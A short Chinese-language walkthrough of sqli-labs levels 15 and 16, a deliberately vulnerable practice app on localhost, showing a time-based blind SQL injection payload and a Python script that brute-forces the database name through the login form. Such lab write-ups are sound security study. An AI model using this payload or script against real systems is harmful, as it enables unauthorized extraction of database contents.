第十五关:
加入单引号、双引号、括号等,都没有任何回显信息,这里可以判断为可能是时间盲注
单引号闭合成功
接下来尝试 时间盲注,当ascii为115时,停止1s,当改为其他时没有停止,这里就可以判断出注入点,欧克,直接上之前的脚本,稍作修改
a' or if(ascii(substr(database(),1,1))=115,sleep(1),1)#
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-15/index.php"
#二分法
def inject_database(url):
name = ''
for i in range(1,20):
for j in range(32,129):
data = {"uname":"ad' or ascii(substr(database(),%d,1)) = %d# " % (i, j),"passwd":"aaaaa"}
r = requests.post(url,data=data)
if "flag.jpg" in r.text:
name +=chr(j)
print(name)
break
else:
continue
inject_database(url)
成功拿到数据库名,之后的操作和以前的第九关就是一样的了。
第十六关:
还是老套路,闭合方式发生了改变
简单换一下套路就成功拿下